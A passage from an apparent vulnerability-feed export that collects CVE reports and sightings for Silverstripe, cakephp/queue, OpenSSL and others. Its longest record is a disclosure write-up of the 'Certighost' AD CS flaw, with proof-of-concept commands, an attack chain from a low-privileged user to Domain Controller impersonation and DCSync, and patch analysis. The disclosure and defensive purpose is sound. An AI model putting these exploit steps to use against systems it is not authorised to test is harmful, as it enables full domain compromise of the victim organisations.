Summary\nA Server-Side Template Injection (SSTI) vulnerability in the Silverstripe UserForms module allows authenticated CMS users with basic form configuration privileges to achieve remote code execution (RCE). The flaw resides in the processing of the email recipient subject field, where user-supplied template translation tags are evaluated by the template engine, leading to arbitrary PHP execution via dynamic variable interpolation.\n\n## TL;DR\nAuthenticated CMS users can execute arbitrary PHP code on the server by embedding crafted translation tags in the form email subject field, which are evaluated dynamically during form submission.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-94: Improper Control of Generation of Code ('Code Injection')\n- **Attack Vector**: Network (AV:N)\n- **CVSS Score**: 8.8 (High)\n- **Exploit Status**: Proof of Concept available in tests\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- Silverstripe CMS with UserForms module version < 6.4.9\n- Silverstripe CMS with UserForms module version >= 7.0.0, < 7.0.7\n- Silverstripe CMS with UserForms module version >= 7.1.0, < 7.1.1\n- **silverstripe/silverstripe-userforms**: < 6.4.9 (Fixed in: `6.4.9`)\n- **silverstripe/silverstripe-userforms**: >= 7.0.0, < 7.0.7 (Fixed in: `7.0.7`)\n- **silverstripe/silverstripe-userforms**: >= 7.1.0, < 7.1.1 (Fixed in: `7.1.1`)\n\n## Mitigation\n\n- Apply security updates to the UserForms module and core template engine.\n- Enforce execution control restrictions on upload folders like the assets directory.\n- Implement restrictive RBAC policies to ensure only trusted administrators can configure form emails.\n\n**Remediation Steps:**\n1. Verify the current version of silverstripe/silverstripe-userforms using the command: composer show silverstripe/silverstripe-userforms\n2. Update Composer packages to pull down the latest patched security releases.\n3. Run 'dev/build' to clear the template compilation cache on the target server.\n4. Audit active CMS accounts and restrict write access to UserForms configurations.\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54721) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-08-27T17:32:22.803990Z"}, {"uuid": "0186dd10-40ae-468c-8380-f5d0a069d345", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54874", "type": "seen", "source": "https://bsky.app/profile/omo.bsky.social/post/3mtx5jnfojs24", "content": "OpenSSL\u306e\u8106\u5f31\u6027(CVE-2026-14457, CVE-2026-18798, CVE-2026-54874, CVE-2026-63072, CVE-2026-63073, CVE-2026-63074, CVE-2026-63075, CVE-2026-63076, CVE-2026-75803)\n\n#sios_tech #security #vulnerability #\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3 #\u8106\u5f31\u6027 #ssh #openssl #ssl\n\nsecurity.sios.jp/vulnerabilit...", "creation_timestamp": "2026-08-26T01:09:35.568670Z"}, {"uuid": "48640bbf-d751-4430-b432-e80b6563776a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54616", "type": "published-proof-of-concept", "source": "https://t.me/bdufstecru/3412", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 Lz4Decode \u0444\u0430\u0439\u043b\u0430 NanaZip.Core/SevenZip/CPP/7zip/Archive/SquashfsHandler.cpp \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 SquashFS \u0430\u0440\u0445\u0438\u0432\u0430\u0442\u043e\u0440\u0430 \u043d\u0430 \u0431\u0430\u0437\u0435 7-Zip NanaZip \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0447\u0442\u0435\u043d\u0438\u0435\u043c \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e\u0433\u043e \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d\u0430 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044c \u0437\u0430\u0449\u0438\u0449\u0430\u0435\u043c\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0438 \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438\n\nBDU:2026-12653\nCVE-2026-54616\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f:\nhttps://github.com/M2Team/NanaZip/security/advisories/GHSA-95x5-qvvm-hmfp", "creation_timestamp": "2026-08-27T00:00:09.732545Z"}, {"uuid": "acbeec7c-b72d-4d94-8120-c1805a1baf93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54917", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-54917.yaml", "content": "", "creation_timestamp": "2026-08-27T00:00:12.379695Z"}, {"uuid": "0e7e4deb-3a43-4c98-9b5f-75d707c9ad91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54713", "type": "seen", "source": "https://gist.github.com/alon710/95bf554559835da78ddd9ef64b2fd7a2", "content": "# CVE-2026-54713: CVE-2026-54713: Idempotency Key Collision and Silent Job Dropping in cakephp/queue\n\n> **CVSS Score:** 3.7\n> **Published:** 2026-08-27\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54713\n\n## Summary\nAn incomplete array comparison vulnerability in cakephp/queue version 0.1.11 through 2.3.0 allows unauthenticated attackers to cause key collisions in unique job deduplication. This is caused by standard array value sorting that discards associative keys, normalizing different payload keys to identical arrays and leading to a denial of service (DoS) by dropping legitimate jobs.\n\n## TL;DR\nA key-erasure flaw in cakephp/queue's deduplication mechanism allows distinct job parameters to resolve to identical unique hashes, enabling attackers to silently drop legitimate background jobs.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-1023\n- **Attack Vector**: Network (AC: High)\n- **CVSS Score**: 3.7\n- **EPSS Score**: 0.00\n- **Impact**: Availability (Low)\n- **Exploit Status**: Proof-of-Concept / None\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- cakephp/queue\n- **cakephp/queue**: >= 0.1.11, < 2.3.1 (Fixed in: `2.3.1`)\n\n## Mitigation\n\n- Upgrade cakephp/queue to version 2.3.1 or newer\n- Implement strict validation schemas for job parameters to prevent arbitrary key injections\n- Avoid utilizing user-controlled values directly in background job arguments when duplicate prevention is enabled\n\n**Remediation Steps:**\n1. Locate composer.json in your application root directory\n2. Update the dependency version: change 'cakephp/queue' requirement to '^2.3.1' or newer\n3. Run 'composer update cakephp/queue' to fetch and apply the updated dependency package\n4. Execute unit and integration tests to ensure that existing queue configurations work correctly with recursive key sorting\n\n## References\n\n- [GitHub Security Advisory GHSA-r5pm-vrc5-3m73](https://github.com/cakephp/queue/security/advisories/GHSA-r5pm-vrc5-3m73)\n- [Fix Commit](https://github.com/cakephp/queue/commit/13890591e248acc8824becb24ba1939fa061bd34)\n- [Pull Request #188](https://github.com/cakephp/queue/pull/188)\n- [Tag / Release v2.3.1](https://github.com/cakephp/queue/releases/tag/2.3.1)\n- [CVE Record](https://www.cve.org/CVERecord?id=CVE-2026-54713)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54713) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-08-28T01:31:29.551350Z"}, {"uuid": "b3a33a34-efc8-474d-97e6-b845a7d62519", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54754", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mu7zy7oedv2y", "content": "CVE-2026-54754 - github.com/klever-io/klever-go\nIf you run Klever-Go version earlier than 1.7.19, a seller can manipulate referral and royalty settings so the system pays out more tokens than were actually\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#kleverio #Golang #CVE #infosec", "creation_timestamp": "2026-08-29T14:00:04.821314Z"}, {"uuid": "2bd2a943-8441-43e2-8f35-c97fe02dc0dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54422", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mrdmzjdood2n", "content": "[OSSA-2026-028] OpenStack Ironic Python Agent: Credential extraction via malicious container (CVE-2026-54422)", "creation_timestamp": "2026-07-23T20:03:15.069582Z"}, {"uuid": "19681bfe-ebb4-45a6-8c58-ecf4043a208c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54696", "type": "published-proof-of-concept", "source": "https://github.com/ruby/json/security/advisories/GHSA-x2f5-4prf-w687", "content": "", "creation_timestamp": "2026-07-23T20:35:04.536251Z"}, {"uuid": "32b29e18-eb82-4df6-9614-b408ab0391d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54836", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-54836.yaml", "content": "", "creation_timestamp": "2026-07-24T00:00:22.951247Z"}, {"uuid": "89ea820e-c704-40db-acfc-a3fb99a4fb52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54120", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mre3igg2c62a", "content": "CVE-2026-54120 - surface management services\nAn attacker with access to Microsoft Surface devices can run malicious code remotely, potentially causing harm to the device and its data. This is a serious risk because\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#microsoft #CVE #infosec", "creation_timestamp": "2026-07-24T00:22:06.327343Z"}, {"uuid": "648ca874-89dc-4159-923a-a75376fae636", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://t.me/GithubRedTeam/94897", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54121\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a aniqfakhrul\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-24 03:54:33\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCertighost POC\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-24T05:00:05.010018Z"}, {"uuid": "05792deb-182d-4e74-a059-66004a0cf485", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/rtfmkiesel.bsky.social/post/3mrerj6mzls2g", "content": "New ADCS vuln + PoC dropped\n\nOnly requires a low priv user and results in a DC cert\n\nCertighost (CVE-2026-54121)\n\ngist.github.com/H0j3n/a5ef26...", "creation_timestamp": "2026-07-24T06:56:15.601150Z"}, {"uuid": "c3925025-7a73-445e-9b52-f5c9a911fe79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/warthogtk.bsky.social/post/3mretkt34a22q", "content": "Certighost (CVE-2026-54121)\nCVE-2026-54121.md\n\nPoC\ngithub.com/aniqfakhrul/...", "creation_timestamp": "2026-07-24T07:32:57.193910Z"}, {"uuid": "d9e9b095-ab2a-4f91-9eed-3fab745210c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/r1cksec.bsky.social/post/3mrewnnfjuc2o", "content": "This is a proof-of-concept tool to demonstrate CVE-2026-54121 a.k.a Certighost.\n\ngithub.com/aniqfakhrul/...\n\n#infosec #cybersecurity #redteam #pentest", "creation_timestamp": "2026-07-24T08:28:14.084473Z"}, {"uuid": "db383d8c-6264-45bf-bd65-e12900c9d832", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "Telegram/xGzO6y6_5HeuzmJ1-knatOnWOwArbIPfq-ZhGdIo2Lc9u_U", "content": "", "creation_timestamp": "2026-07-24T09:00:04.229373Z"}, {"uuid": "96a3ecef-c898-4900-961b-d5d8f59dac98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "Telegram/l4Gc7-zqzzEJLgW7QTnRZhngWZ330GAlAspxmCHtL5bxj10", "content": "", "creation_timestamp": "2026-07-24T09:00:04.272396Z"}, {"uuid": "318315d4-063e-4fa6-8b06-53c551175be3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "published-proof-of-concept", "source": "https://t.me/P0x3k_1N73LL1G3NC3/396", "content": "\ud83d\udd12 Certighost (CVE-2026-54121) \u2014 AD CS Domain Controller Impersonation\n\nLow-privileged domain user can impersonate a Domain Controller via an AD CS enrollment chase fallback. By supplying cdc (Client DC) and rmd (Remote Domain) request attributes, an attacker forces the Enterprise CA to query an attacker-controlled host over SMB and LDAP.\n\nThe CA then blindly trusts the returned directory objects (objectSid + dNSHostName of a real DC) and issues a certificate containing strong identity mapping for the Domain Controller. This allows successful PKINIT authentication as the DC.\n\n\ud83d\udd17 Research:\nhttps://gist.github.com/H0j3n/a5ef2609b5f2944ac2390a191a534c26\n\n\ud83d\udd17 Source:\nhttps://github.com/aniqfakhrul/CVE-2026-54121\n\n#ad #adcs #pkinit #machineaccountquota", "creation_timestamp": "2026-07-24T10:00:04.338869Z"}, {"uuid": "83f8d1fc-c15f-4640-b3d0-d91d7180ba34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54757", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mtxh2skin32b", "content": "\ud83d\udfe0 CVE-2026-54757 - High (7.8)\n\nCompliance-trestle (Trestle) is a Python SDK and command-line tool for managing OSCAL compliance ...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54757/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-26T04:00:13.808575Z"}, {"uuid": "47af2f6e-c775-42d1-9416-846a38f27aee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54720", "type": "seen", "source": "https://gist.github.com/alon710/6538c11be757e60d0a7d8025d09bf775", "content": "# CVE-2026-54720: CVE-2026-54720: Stored Cross-Site Scripting (XSS) via Sandbox Bypass in Silverstripe Framework\n\n> **CVSS Score:** 5.4\n> **Published:** 2026-08-27\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54720\n\n## Summary\nCVE-2026-54720 is a stored Cross-Site Scripting (XSS) vulnerability inside the Silverstripe Framework's media shortcode processor. Due to a flawed performance optimization, HTML inputs containing two or fewer opening angle brackets bypassed security sandboxing. This flaw allows authenticated or lower-privileged users to inject administrative panel payloads that execute arbitrary client-side JavaScript when viewed by system administrators.\n\n## TL;DR\nA design shortcut in Silverstripe Framework's iframe sandboxing allows attackers to bypass security filters using simple single-tag iframe embeds, enabling unauthenticated or lower-privileged administrative session takeover.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-79\n- **Attack Vector**: Network (AV:N)\n- **CVSS v3.1 Score**: 5.4\n- **EPSS Score**: 0.00263 (Percentile: 17.73%)\n- **Impact**: Stored XSS leading to Administrative Session Compromise\n- **Exploit Status**: Proof of Concept (PoC) documented\n- **KEV Status**: Not listed in CISA KEV Catalog\n\n## Affected Systems\n\n- Silverstripe Content Management System (CMS) deployments utilising the silverstripe/framework composer package.\n- **silverstripe-framework**: < 6.2.2 (Fixed in: `6.2.2`)\n\n## Mitigation\n\n- Upgrade the silverstripe/framework composer dependency to version 6.2.2 or above.\n- Deploy WAF rules to intercept raw iframe submissions containing event handlers or non-standard URI schemes.\n- Implement a robust Content Security Policy (CSP) prohibiting unsanitized inline scripts ('unsafe-inline') and restricting frame origins.\n\n**Remediation Steps:**\n1. Navigate to the project root directory.\n2. Run the composer command: composer update silverstripe/framework to pull down the patch.\n3. Clear the framework cache configuration to ensure the updated EmbedShortcodeProvider is initialized.\n4. Verify the application templates and media embed functions in a staging environment.\n\n## References\n\n- [GitHub Security Advisory GHSA-gvrw-qqp5-jgc5](https://github.com/silverstripe/silverstripe-framework/security/advisories/GHSA-gvrw-qqp5-jgc5)\n- [Silverstripe Official Security Advisory](https://www.silverstripe.org/download/security-releases/cve-2026-54720)\n- [Official Patch Commit](https://github.com/silverstripe/silverstripe-framework/commit/1bcb02adfc365c6436dc26ab2f6dd32d97f3979b)\n- [Official GitHub Pull Request](https://github.com/silverstripe/silverstripe-framework/pull/11993)\n- [Silverstripe Framework 6.2.2 Release Tag](https://github.com/silverstripe/silverstripe-framework/releases/tag/6.2.2)\n- [CVE-2026-54720 Record on CVE.org](https://www.cve.org/CVERecord?id=CVE-2026-54720)\n- [NVD Vulnerability Database Entry](https://nvd.nist.gov/vuln/detail/CVE-2026-54720)\n- [CVE V5 Record Repository](https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/54xxx/CVE-2026-54720.json)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54720) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-08-28T02:33:08.006734Z"}, {"uuid": "3311f49c-9bd2-4312-8211-981993f5f1e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://gist.github.com/Amr-Hamza/2c62db7914457ef7bfe2649f021b4473", "content": "# Certighost (CVE-2026-54121)\n\n**Authors:** [@h0j3n](https://x.com/h0j3n), [@aniqfakhrul](https://x.com/aniqfakhrul)  \n**Date:** July 24, 2026\n\n---\n\nCertighost is an Active Directory Certificate Services (AD CS) vulnerability that allowed a low-privileged domain user to impersonate a Domain Controller and achieve domain compromise in the tested AD CS configuration. The issue was addressed in the July 2026 security updates.\n\nThe vulnerable path is an AD CS enrollment fallback known as a *chase* during directory-object resolution. By supplying request attributes such as `cdc`, an attacker could cause the Certification Authority (CA) to ask an attacker-controlled host for identity data belonging to a Domain Controller. The CA then used that data while issuing a certificate.\n\n\n  \n\n\nThis post explains how the chase path works, why it could be abused, and what changed in the update.\n\n## Introduction to Active Directory Certificate Services\n\nIf you already work with AD CS, feel free to skip ahead. For the rest of the post, it is enough to think of a certificate as a signed proof of identity. Like a Kerberos ticket, it can be presented during authentication to show who a user or computer is supposed to be.\n\nAD CS is Microsoft's public key infrastructure implementation. It integrates with Active Directory and issues X.509 certificates for purposes such as encryption, signing, secure communications, and authentication.\n\nA certificate binds a subject to a public key. The private key stays with the requester, while the certificate contains the public key and identity information signed by a Certification Authority. A service that trusts the CA can use that signature to trust the identity in the certificate.\n\nCertificate templates control the enrollment process. A template decides who may request a certificate, what it can be used for, what identity information must be present, and whether the CA may accept information supplied in the request.\n\nThe relevant piece here is certificate-based client authentication. A client requests a certificate from an Enterprise CA and later presents it to the Key Distribution Center (KDC) to obtain Kerberos credentials.\n\n### PKINIT and certificate mapping\n\nTo make this concrete, consider a small lab domain named `ABC.LOCAL` with AD CS installed. A low-privileged account can request a certificate from a template it is permitted to enroll in, then use that certificate to authenticate to the KDC.\n\n![Requesting and authenticating with a certificate using Certipy](https://gist.github.com/user-attachments/assets/c7d6f12d-d1bc-451c-b861-eb2863060173)\n\n\nRequesting and authenticating with a certificate using Certipy\n\nDuring certificate authentication, the KDC maps the identity in the certificate to an Active Directory account and issues a Kerberos TGT when the mapping succeeds.\n\n## Background: the chase fallback\n\nBefore getting to the bug, we need to look at one enrollment behavior. In some cross-domain-controller enrollment scenarios, the CA may perform a second directory lookup, referred to here as a *chase*.\n\nTwo request attributes influence that lookup:\n\n- `cdc` (Client DC), which identifies the host the CA should contact\n- `rmd` (Remote Domain), which identifies the principal the CA should look up\n\nWhen both attributes are present, the CA contacts the host named by `cdc` over SMB and LDAP, then searches for the principal named by `rmd`. The request-processing path reads these values and passes them into the remote directory lookup.\n\n\n\n  \n\n\n\nWireshark capture showing the CA following the requester-controlled cdc target to the attacker host over SMB/LSA and LDAP.\n\n## The vulnerability: Certighost\n\nThe CA accepted the requester-supplied chase target without first proving that it was the Domain Controller it claimed to be. That made it possible for an attacker to run LDAP and LSA services on a host they controlled, direct the CA to that host, and return directory data for a chosen target principal.\n\nIn the vulnerable flow, the attacker supplies `cdc` and `rmd` in a certificate request. The CA opens SMB and LDAP connections to the address in `cdc`, performs the chase lookup for the principal in `rmd`, and uses the returned identity data while building the certificate.\n\nThe issue is not just the outbound connection. The CA used the response from that host as directory data for the request. In the tested chain, the attacker could return a Domain Controller's `objectSid` and `dNSHostName`. Those values influenced the certificate identity material issued by the CA, including the strong-mapping SID and DNS identity fields used during authentication.\n\nA machine account created through the default `ms-DS-MachineAccountQuota` setting is a valid domain principal. This allowed the attacker-controlled chase endpoint to satisfy the authentication checks needed for the CA to continue, even though it was not the Domain Controller being impersonated.\n\n\n\n  \n\n\n\nVulnerable chase flow: the CA follows requester-controlled cdc, accepts attacker-supplied directory data, and issues certificate identity material for the target DC.\n\nThe diagram follows the three parties involved in the vulnerable chase: the attacker prepares a valid machine account and rogue services, the CA follows the requester-controlled `cdc` target and trusts the returned identity data, and the Domain Controller is then impersonated through certificate-based authentication and replication access.\n\n## Proof of concept walkthrough\n\n### Lab environment\n\nOur test environment contained:\n\n- An AD forest at Windows Server 2016 or later functional level\n- Domain Controller: `WDC01.abc.local` (`192.168.8.128`)\n- Enterprise CA: `abc-WCA01-CA` on `WCA01.abc.local` (`192.168.8.129`)\n- The default `ms-DS-MachineAccountQuota` value of `10`\n- The default `Machine` certificate template with its default access control list\n- An attacker host at `192.168.8.134`\n- One low-privileged Domain Users account: `normaluser`\n\n### Step 1: Install dependencies\n\nThe proof of concept is a self-contained Python script. It requires impacket, cryptography, pyasn1, asn1crypto, and dnspython.\n\n```bash\nsudo pip install --break-system-packages git+https://github.com/fortra/impacket.git cryptography pyasn1 asn1crypto pycryptodome dnspython\n```\n\n### Step 2: Run the proof of concept and observe the result\n\n```bash\nsudo python3 certighost.py \\\n  -d abc.local \\\n  -u normaluser -p '[PASSWORD]' \\\n  --dc-ip 192.168.8.128\n```\n\nThe script discovers the CA and a target Domain Controller, creates a machine account, starts the local LDAP and LSA services, submits the crafted enrollment request, and produces the terminal output shown below.\n\n![Terminal output of a successful Certighost run](https://gist.github.com/user-attachments/assets/7ad0a7a7-edf7-4b50-8c69-7e0c91ed2ae4)\n\n\nTerminal output of a successful Certighost run\n\nAt this point, the attacker has a CA-signed certificate that authenticates as the target Domain Controller in the tested configuration and a Kerberos credential cache for that account.\n\n### Step 3: DCSync\n\nA Domain Controller account has directory replication rights. With the resulting Kerberos credential, the attacker can request account secrets, including the `krbtgt` secret.\n\n![Successful DCSync output showing the `krbtgt` account](https://gist.github.com/user-attachments/assets/64e7a484-87d4-46fc-a3d7-c2b600ffe9cd)\n\n\nSuccessful DCSync output showing the `krbtgt` account\n\n### What the proof of concept does\n\nThe script follows the full chain in one process:\n\n1. It connects to LDAP with the supplied low-privileged account and discovers the CA, Domain Controller, domain SID, and domain GUID.\n2. It creates a machine account through `ms-DS-MachineAccountQuota` and registers the required service principal names.\n3. It starts local LSA and LDAP services. The services relay the CA's authentication challenge to the real Domain Controller so the chase endpoint is accepted as a valid domain principal.\n4. It submits a certificate request containing the `cdc` and `rmd` attributes.\n5. It receives a certificate carrying identity material for the target Domain Controller, including SID and DNS-name data used by the authentication flow.\n6. It uses the certificate to authenticate as the target Domain Controller and writes the resulting credential cache.\n\n## Post-update behavior\n\nThe July 2026 update changes the CA-side request path. Before continuing a chase, the CA validates the supplied `cdc` target against Active Directory.\n\nThe update adds a validation step to the principal-loading path. When the validation gate is active, the CA checks that the hostname supplied in `cdc` resolves to a legitimate Domain Controller computer object in the real directory before it continues the chase. A validation failure takes the request down an error path rather than the chase continuation.\n\n| Component | Before the update | After the update |\n|---|---|---|\n| Chase target | The CA followed the requester-supplied target | The CA validates the supplied `cdc` hostname against the real directory |\n| Principal lookup | The remote response was treated as authoritative | The target must resolve to a legitimate Domain Controller computer object |\n| Certificate identity data | Returned SID and hostname could be attacker-controlled | Resolution proceeds only after target validation and a follow-on SID comparison |\n| Certificate request result | A forged chase response could lead to issuance | A failed validation or SID comparison takes an error path |\n\nThe fix addresses the trust boundary that made Certighost possible: a chase endpoint is no longer accepted merely because it responds as a domain principal. The July binary contains a gate around the new validation, so the protection applies when that gate and its validation path are active.\n\nThe diagram below summarizes the July update path. It shows which checks must pass before the CA continues the chase, and which checks stop the request before that point.\n\n\n\n\nJuly update flow: the CA validates the chase target against AD before allowing the referral chase to continue.\n\nRead the diagram from top to bottom: the request enters the validation path, each check answers one yes/no question, and the request must pass every check before the chase continues. A failed check stops the request before that point. The specific conditions behind each check - length and character checks, the Domain Controller computer-object requirement, and the resolved-SID comparison - are described in the paragraph below.\n\nThe validation function rejects overlong and IP-literal targets, blocks the filtered-character set before constructing the LDAP query, and requires a unique computer object whose `userAccountControl` includes `SERVER_TRUST_ACCOUNT` (`8192`). If the first directory search has no match, the code retries with an extracted base DN. The loader only reaches the referral continuation after a successful validation return; it also contains a later resolved-SID comparison. These control-flow observations were checked against the hash-matched July DLL.\n\n\nDetailed patched flow:\n\n```text\n1. User submits cert enrollment request with cdc=\"attacker.example.com\"\n2. _LoadPrincipalObject() calls _GetDSObject() -> fails (referral needed)\n3. polGetRequestAttribute(\"cdc\", &bstrString) -> reads attacker's hostname\n4. NEW: Feature_3185813818 check (servicing flag)\n   - DISABLED -> old behavior (backward compat)\n   - ENABLED -> _ValidateChaseTargetIsDC(bstrString)\n      - Reject if empty\n      - Reject if > 260 chars\n      - Reject if IPv4 address (RtlIpv4StringToAddressW)\n      - Reject if IPv6 address (RtlIpv6StringToAddressW)\n      - Reject if contains LDAP injection chars: ( ) * [ \\ ]\n      - LDAP search: (&(objectCategory=computer)(dNSHostName=)\n                       (userAccountControl:1.2.840.113556.1.4.803:=8192))\n         - 8192 = SERVER_TRUST_ACCOUNT = must be a real DC\n         - If 0 results -> try with extracted base DN (_ExtractBaseDNForDCSearch)\n         - If still 0 -> REJECT\n5. Only if validation passes -> _GetDSObject(a2, 1, bstrString) -> connect to verified DC\n6. NEW: _GetObjectSID() -> verify resolved object's SID matches requester's SID\n   - If SID mismatch -> REJECT (prevents object substitution)\n```\n\n## Code analysis\n\nThe proof-of-concept shows the impact, but the code path explains the root cause. The relevant logic sits in `certpdef.dll`, the AD CS Certificate Policy Enterprise module loaded by `certsrv.exe`. The vulnerable behavior is in the request-principal loading path, where request-supplied attributes are used while resolving the requester identity.\n\nWe compare the June and July builds because June is the vulnerable baseline and July is the Microsoft patched build. That makes the July-only functions useful markers for the fix.\n\nThe functions that matter for the request path are:\n\n| Build | Function | Why it matters |\n|---|---|---|\n| June / vulnerable | `CRequestInstance::_LoadPrincipalObject` | Vulnerable integration point; reads the requester-controlled chase target. |\n| June / vulnerable | `CRequestInstance::_GetDSObject` | Directory lookup/chase sink reached with the untrusted `cdc` 